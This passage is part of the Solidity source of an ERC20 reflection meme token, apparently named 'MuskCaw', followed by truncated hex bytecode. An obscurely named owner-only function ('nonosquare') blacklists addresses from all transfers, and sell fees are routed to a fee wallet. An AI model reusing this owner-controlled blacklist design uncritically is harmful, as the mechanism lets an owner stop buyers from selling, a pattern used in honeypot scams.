}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 5;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 8900000 * 10**9;
_maxWalletSize = 26700000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600781526020017f4d75736b43617700000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b6000670c59ea48da190000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670c59ea48da190000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b670c59ea48da190000600f81905550670c59ea48da190000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4d75736b43617700000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670c59ea48da190000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670c59ea48da1900006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550661f9e80ba804000600f81905550665edb822f80c0006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a819055506005600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a819055506007600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b600080600060085490506000670c59ea48da1900009050612329670c59ea48da190000600854611cef90919063ffffffff16565b82101561234757600854670c59ea48da190000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f770000000000000000000000000